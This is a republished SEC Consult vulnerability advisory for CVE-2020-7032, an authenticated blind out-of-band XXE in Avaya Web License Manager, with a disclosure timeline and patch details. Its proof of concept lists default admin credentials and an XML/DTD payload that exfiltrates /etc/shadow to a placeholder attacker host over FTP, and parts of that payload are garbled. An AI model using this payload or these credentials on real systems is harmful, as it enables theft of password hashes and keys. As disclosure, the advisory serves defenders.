

Authored by [M. Koplin](#) | Site [sec-consult.com](#)

Posted Nov 18, 2020

tags | exploit, web  
advisories | CVE-2020-7032

SHA-256 | 846c16f1bfa3ad4cac2f4e8b9518cf1ea140cb8f1f79ed380c39735e0498823b [Download](#) | [Favorite](#) | [View](#)

## Related Files

## Like

Time

LinkedIn

Reddit

Digg

StumbleUpon

Change Mirror

Download

```

SEC Consult Vulnerability Lab Security Advisory < 20201117-0 >
=====
                title: Blind Out-Of-Band XML External Entity Injection (Authenticated)
                product: Avaya Web License Manager
vulnerable version: 6.x, 7.0 through 7.1.3.6, 8.0 through 8.1.2.0.0
                fixed version: 7.1.3.7 and 8.1.3
                CVE number: CVE-2020-7032
                impact: medium (6.5)
                homepage: https://www.avaya.com/en/
                found: 03/2020
                by: M. Koplin (Office Munich)
                SEC Consult Vulnerability Lab

                An integrated part of SEC Consult
                Europe | Asia | North America

                https://www.sec-consult.com

=====

Vendor description:
-----
"As a global leader in delivering superior communications experiences,
Avaya provides the most complete portfolio of software and services
for multi-touch contact center and unified communications offered on
premises, in the cloud, or a hybrid. Today's digital world centers on
communications enablement, and no other company is better positioned
to do this than Avaya."

Source: https://www.avaya.com/en/

Business recommendation:
-----
The vendor provides a patch for the Avaya Web License Manager which
should be installed immediately.

SEC Consult recommends to perform a thorough security review conducted by
security professionals to identify and resolve all security issues.

Vulnerability overview/description:
-----
1) Blind Out-Of-Band XML External Entity Injection (CVE-2020-7032)
This vulnerability within the Avaya Web License Manager (WebLM) allows an
authenticated user to read arbitrary files in the context of the Webserver
(Tomcat) by uploading a specially crafted XML file within the license upload
functionality. Accessible sensitive files that can be read are for example
/etc/shadow, SSH keys or other configuration files.

Proof of concept:
-----
1) Blind Out-Of-Band XML External Entity Injection (CVE-2020-7032)
Login as a user to https://SIP/WebLM/ and navigate to "Install License". If
WebLM has never been used before or not hardened, the default credentials are
admin:weblmadmin

Create an XML file like the following:

<?xml version="1.0" ?>
<!DOCTYPE a [
<ENTITY % s and SYSTEM "http://SATTACKER_IP/xxe_file.dtd">
%sad;
%o;
]>
<a&rrr;</a>

and a DTD file like:

<ENTITY % d SYSTEM "file:///etc/shadow">
<ENTITY % c "<ENTITY rrr: SYSTEM 'ftp://SATTACKER_IP:2121/sd;'>">

Start a webserver, e.g. SimpleHTTPServer

python -m SimpleHTTPServer 80

and an FTP server like GO XFE FTP Server

./xxeserv 2121

Upload the crafted XML file by clicking the install button.

Vulnerable / tested versions:
-----
The following version has been tested:
* Avaya Web License Manager 6.3

The vendor doesn't support versions < 7.x. Probably all versions <7 are
affected.

Vendor contact timeline:
-----
2020-03-18: Contacting vendor through securityalerts@avaya.com
2020-03-19: Vendor replied and started the process to verify the vulnerability
2020-04-03: Second mail to vendor to check if they have verified the issue
2020-05-18: Release of Hotfix for WebLM (embedded with SMGR) version 8.1.2.x
2020-07-01: Advisory release postponed, due to a delayed patch for version 7
2020-11-16: Patch release for version 7 and 8 of WebLM standalone and SMGR
2020-11-17: Publication of the advisory.


Solution:
-----
Version 6: Upgrade to a new major release
Version 7: Upgrade to 7.1.3.7 or later
Version 8: Install hot fix #7 or upgrade to version 8.1.3

Workaround:
-----
None.

Advisory URL:
-----
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html
=====

```

Search ...

 Follow us on Twitter

 [Subscribe to an RSS Feed](#)

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Red Hat	150 files
Ubuntu	68 files
LiquidWorm	23 files
Debian	16 files
malvuln	11 files
nuffsecurity	11 files
Gentoo	9 files
Google Security Research	6 files
Julien Ahrens	4 files
T. Weber	4 files

## File Archives

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (6,926)	June 2022
Conference (873)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older

## Systems

Firewall (821)	AIX (426)
Info Disclosure (2,660)	Apple (1,926)
Introspection Detection (867)	BSD (370)
Java (2,899)	CentOS (55)
JavaScript (821)	Cisco (1,917)
Kernel (6,291)	Debian (6,634)
Local (14,201)	Fedora (1,690)
Magazine (586)	FreeBSD (1,242)
Overflow (12,419)	Gentoo (4,272)
Perl (1,418)	HPUS (878)
PHP (5,093)	iOS (330)
Proof of Concept (2,291)	iPhone (108)
Protocol (3,435)	IRIX (220)
Python (1,467)	Juniper (67)
Remote (30,044)	Linux (44,315)
Root (3,504)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,777)	OpenBSD (479)
Shell (3,103)	RedHat (12,469)
Shellcode (1,204)	Slackware (941)
Sniffer (886)	Solaris (1,607)

SEC Consult Vulnerability Lab

SEC Consult  
Europe | Asia | North America

About SEC Consult Vulnerability Lab

The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies.

-----

Interested to work with the experts of SEC Consult?

Send us your application <https://www.sec-consult.com/en/career/index.html>

Interested in improving your cyber security with the experts of SEC Consult?

Contact our local offices <https://www.sec-consult.com/en/contact/index.html>

-----

Mail: [research@sec-consult.com](mailto:research@sec-consult.com)

Web: <https://www.sec-consult.com>

Blog: <http://blog.sec-consult.com>

Twitter: [https://twitter.com/sec\\_consult](https://twitter.com/sec_consult)

EOF M. Koplin / @2020

Spoof (2,166)

SQL Injection (16,102)

TCP (2,379)

Trojan (686)

UDP (676)

Virus (662)

Vulnerability (31,136)

Web (9,365)

Whitepaper (3,729)

x86 (946)

XSS (17,494)

Other

SUSE (1,444)

Ubuntu (8,199)


UNIX (9,159)

UnixWare (185)

Windows (6,511)

Other

[Login](#) or [Register](#) to add favorites



© 2022 Packet Storm. All rights reserved.

Site Links

News by Month

News Tags

Files by Month

File Tags

File Directory

About Us

History & Purpose

Contact Information


Terms of Service


Privacy Statement

Copyright Information

Hosting By

Rokasec

 Follow us on Twitter

 Subscribe to an RSS Feed